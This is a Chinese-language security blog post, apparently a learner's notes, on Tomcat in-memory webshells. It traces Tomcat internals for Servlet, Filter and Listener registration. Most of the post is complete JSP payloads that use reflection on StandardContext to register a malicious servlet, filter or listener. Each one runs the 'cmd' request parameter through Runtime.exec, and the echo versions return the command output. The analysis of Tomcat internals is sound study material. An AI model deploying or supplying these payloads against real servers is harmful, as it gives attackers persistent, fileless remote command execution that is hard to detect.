Tomcat内存马学习
2025-03-30 13:14:16

Tomcat中的三种context

这里直接参考枫师傅的文章

https://goodapple.top/archives/1355

image-20250328112608271

Servlet型内存马

假设某Web应用中有一个HelloServlet类,可以如下代码所示使用Tomcat去加载这个Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 创建 Tomcat 实例
Tomcat tomcat = new Tomcat();

// 获取 Web 应用的上下文(Context)
Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());

// 创建一个 Wrapper,并将 HelloServlet 和映射路径绑定
Wrapper wrapper = context.createWrapper();

//指定Wrapper要管理的Servlet类
wrapper.setServletClass("com.KaGty1.HelloServlet");

//将HelloServlet映射到路径/hello上
wrapper.addMapping("/hello");

// 将 Wrapper 添加到 Context 中
context.addChild(wrapper);

// 启动 Tomcat
tomcat.start();
tomcat.getServer().await();

内存马payload_demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>



<%
//恶意Servlet
class S implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {}
}
}

@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {}
}
%>

<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
//实例化恶意Servlet
S evilServlet = new S();
//创建wrapper管理servlet
Wrapper evilWrapper = standardContext.createWrapper();
String name = evilServlet.getClass().getSimpleName();
//设置wrapper的名字
evilWrapper.setName(name);
//设置Tomcat开机自启
evilWrapper.setLoadOnStartup(1);
//传递恶意servlet对象给wrapper, Tomcat直接使用这个恶意servlet实例来处理请求
evilWrapper.setServlet(evilServlet);
//将evilWrapper注册到context中,后续可以访问它了
standardContext.addChild(evilWrapper);
//设置恶意servlet的访问路径
standardContext.addServletMappingDecoded("/servlet_shell", name);

out.println("Inject successfully");
%>

将写有Servlet内存马的servletShell.jsp上传到 WEB-INF目录下,启动Tomcat,访问servletShell.jsp触发代码注册恶意servlet,访问恶意servlet路由执行命令即可

image-20250327140736676

先访问http://localhost:9090/test_war_exploded/servletShell.jsp加载恶意servlet

然后访问http://localhost:9090/test_war_exploded/servlet_shell?cmd=open%20-a%20Calculator

执行命令弹出计算器

Filter型内存马

原理代码如下,若某个Filter拦截器中存在恶意代码,就会造成命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//filterShell.java
@WebFilter("/*")
public class filterShell implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String command = request.getParameter("cmd");
if (command != null) {
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}

访问http://localhost:9090/test_war_exploded/*?cmd=xxxx就会经过filterShell拦截器执行恶意命令

web.xml文件中,注册filter过滤器的写法如下

1
2
3
4
5
6
7
8
<filter>
<filter-name>test</filter-name>
<filter-class>com.KaGty1.test</filter-class>
</filter>
<filter-mapping>
<filter-name>test</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
Filter过滤器执行逻辑分析
1
2
3
4
doFilter:12, filterShell (org.kgty.test)
internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core) --> doFilter逻辑开始执行

invoke:168, StandardWrapperValve (org.apache.catalina.core)调用doFilter的核心逻辑如下

1
2
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());

跟进ApplicationFilterFactory.createFilterChain,核心逻辑伪代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
ApplicationFilterChain filterChain = null;

//获取Web应用上下文context
StandardContext context = (StandardContext) wrapper.getParent();

//获取filterMap
FilterMap filterMaps[] = context.findFilterMaps();

//获取请求的调度类型
DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

//获取请求路径
String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null) {
requestPath = attribute.toString();
}

//添加与请求路径匹配的过滤器
for (FilterMap filterMap : filterMaps) {
//检查请求的调度类型是否匹配
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
//检查请求路径是否匹配
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}

//查找对应的过滤器配置
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}

//若找到,则将其添加到过滤器链中
filterChain.addFilter(filterConfig);
}
}

//addFilter代码逻辑如下
void addFilter(ApplicationFilterConfig filterConfig) {

if (n == filters.length) {
ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;
}
filters[n++] = filterConfig;

}

最后调用至internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core),核心逻辑伪代码如下

1
2
3
4
5
6
7
8
//filters为ApplicationFilterChain类提前定义好的,在上面的addFilter中被赋值
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

private void internalDoFilter(ServletRequest request, ServletResponse response) {
ApplicationFilterConfig filterConfig = filters[pos++];
Filter filter = filterConfig.getFilter();
filter.doFilter(request, response, this);
}

由以上分析可得动态创建Filter过滤器并加载到filterChain中的两个关键步骤

1
2
(1) FilterMap filterMaps[] = context.findFilterMaps();  -- 获取filterMap
(2) context.findFilterConfig(filterMap.getFilterName()); -- 从上下文context中根据filterMap.getFilterName()查找并存在filterConfig
内存马构造

首先构造filterMapStandardedContext类中存在方法addFilterMapBefore可以满足需求,但是需要先经过validateFilterMap方法的检查

image-20250327190853561

validateFilterMap方法会检查StandardedContext类的filterDefs属性中是否含有filterName

image-20250327191447379

image-20250327191456531

所以在使用addFilterMapBefore添加filterMap之前需要对filterDefs属性提前赋值,恰好StandardedContext类中提供了addFilterDef方为filterDefs赋值

image-20250327191805318

filterMap的构造解决了,最后需要解决context.findFilterConfig(filterMap.getFilterName())

1
2
3
4
5
6
7
private Map<String,ApplicationFilterConfig> filterConfigs = new HashMap<>();

public FilterConfig findFilterConfig(String name) {
synchronized (filterDefs) {
return filterConfigs.get(name);
}
}

由于StandardedContext中未找到给filterConfigs赋值的方法,所以只能通过反射来赋值

Filter型内存马Payload最终如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
//构造恶意Filter过滤器
class FilterShellClass implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>

<%
//添加FilterDef,确保FilterMap可以正常添加
FilterShellClass filterShellClass = new FilterShellClass();
String name = "filterShell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterShellClass);
filterDef.setFilterClass(filterDef.getClass().getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);
%>

<%
//添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
%>

<%
//获取filterConfigs字段
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
//获取当前Web应用上下文context中的filterConfigs字段
Map filterConfigs = (Map) Configs.get(standardContext);
//由于filterConfigs在StandardContext的定义为private Map<String,ApplicationFilterConfig> filterConfigs = new HashMap<>();
//所以还需要一个ApplicationFilterConfig对象
//获取ApplicationFilterConfig的构造函数
Constructor ApplicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
ApplicationFilterConfigConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) ApplicationFilterConfigConstructor.newInstance(standardContext, filterDef);
//filterConfigs属性是一个HashMap
filterConfigs.put(name, applicationFilterConfig);
out.print("Inject successfully");
%>

注意事项参考:https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/

image-20250328112703644

Listener型内存马

如图,Listener是最先被加载的,所以也可以构造Listener型内存马

image-20250328103256595

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
requestInitialized:16, TestListener (org.kgty.test)
fireRequestInitEvent:5169, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:396, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:937, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

由堆栈信息 -> 跟进fireRequestInitEvent:5169, StandardContext (org.apache.catalina.core),关键在于getApplicationEventListeners()

image-20250328111224293

跟进getApplicationEventListeners()

1
2
3
4
5
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();

public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}

和构造Filter型内存马的思路一样,寻找给applicationEventListenersList赋值的函数即可

1
2
3
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}

利用addApplicationEventListener可以直接构造Listener型内存马了

Listener型内存马Payload如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>


<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>


<%
//构造恶意listener监听器
class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
}
%>

<%
//添加恶意listener监听器
ListenerShell listenerShell = new ListenerShell();
standardContext.addApplicationEventListener(listenerShell);
%>

Tomcat内存马回显

1
2
3
4
5
6
7
8
9
//回显技术大致逻辑如下
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int a = -1;
while((a = inputStream.read(bytes))!=-1){
bao.write(bytes,0,a);
}
response.getWriter().write(new String(bao.toByteArray()));
Servlet内存马回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>


<%
//恶意Servlet
class S implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null){
try {
//回显
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int a = -1;
while((a = inputStream.read(bytes))!=-1){
bao.write(bytes,0,a);
}
res.getWriter().write(new String(bao.toByteArray()));
} catch (IOException e) {}
}
}

@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {}
}
%>

<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
//实例化恶意Servlet
S evilServlet = new S();
//创建wrapper管理servlet
Wrapper evilWrapper = standardContext.createWrapper();
String name = evilServlet.getClass().getSimpleName();
//设置wrapper的名字
evilWrapper.setName(name);
//设置Tomcat开机自启
evilWrapper.setLoadOnStartup(1);
//传递恶意servlet对象给wrapper, Tomcat直接使用这个恶意servlet实例来处理请求
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
//将evilWrapper注册到context中,后续可以访问它了
standardContext.addChild(evilWrapper);
//设置恶意servlet的访问路径
standardContext.addServletMappingDecoded("/servlet_shell_res", name);

out.println("Inject successfully");
%>
Filter内存马回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
//构造恶意Filter过滤器
class FilterShellClass implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int a = -1;
while((a = inputStream.read(bytes))!=-1){
bao.write(bytes,0,a);
}
response.getWriter().write(new String(bao.toByteArray()));
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>

<%
//添加FilterDef,确保FilterMap可以正常添加
FilterShellClass filterShellClass = new FilterShellClass();
String name = "filterShell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterShellClass);
filterDef.setFilterClass(filterDef.getClass().getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);
%>

<%
//添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
%>

<%
//获取filterConfigs字段
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
//获取当前Web应用上下文context中的filterConfigs字段
Map filterConfigs = (Map) Configs.get(standardContext);
//由于filterConfigs在StandardContext的定义为private Map<String,ApplicationFilterConfig> filterConfigs = new HashMap<>();
//所以还需要一个ApplicationFilterConfig对象
//获取ApplicationFilterConfig的构造函数
Constructor ApplicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
ApplicationFilterConfigConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) ApplicationFilterConfigConstructor.newInstance(standardContext, filterDef);
//filterConfigs属性是一个HashMap
filterConfigs.put(name, applicationFilterConfig);
out.print("Inject successfully");
%>
Listener内存马回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>


<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>


<%
//构造恶意listener监听器
class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Field field = req.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(req);
Response response = request.getResponse();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int a = -1;
while((a = inputStream.read(bytes))!=-1){
bao.write(bytes,0,a);
}
response.getWriter().write(new String(bao.toByteArray()));
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
%>

<%
ListenerShell listenerShell = new ListenerShell();
standardContext.addApplicationEventListener(listenerShell);
%>
上一页
2025-03-30 13:14:16
下一页